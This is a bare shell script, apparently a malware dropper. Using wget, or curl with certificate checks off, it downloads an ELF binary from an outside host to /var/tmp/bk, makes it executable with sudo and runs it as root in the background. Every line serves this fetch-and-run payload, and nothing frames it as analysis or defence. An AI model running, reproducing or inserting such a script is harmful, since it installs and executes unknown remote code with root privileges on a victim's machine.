



if [ -f "/usr/bin/wget" ]; then
	wget -q https://fd.v2downf.shop//tmp/f/2591c98b70119fe624898b1e424b5e91_20250202230350.elf -O /var/tmp/bk
elif [ -f "/usr/bin/curl" ]; then
	curl -k -s -o /var/tmp/bk https://fd.v2downf.shop//tmp/f/2591c98b70119fe624898b1e424b5e91_20250202230350.elf
else 
	echo "fail delete ok!!!"
	exit 1
fi

sudo chmod +x /var/tmp/bk

sudo timeout 180 /var/tmp/bk &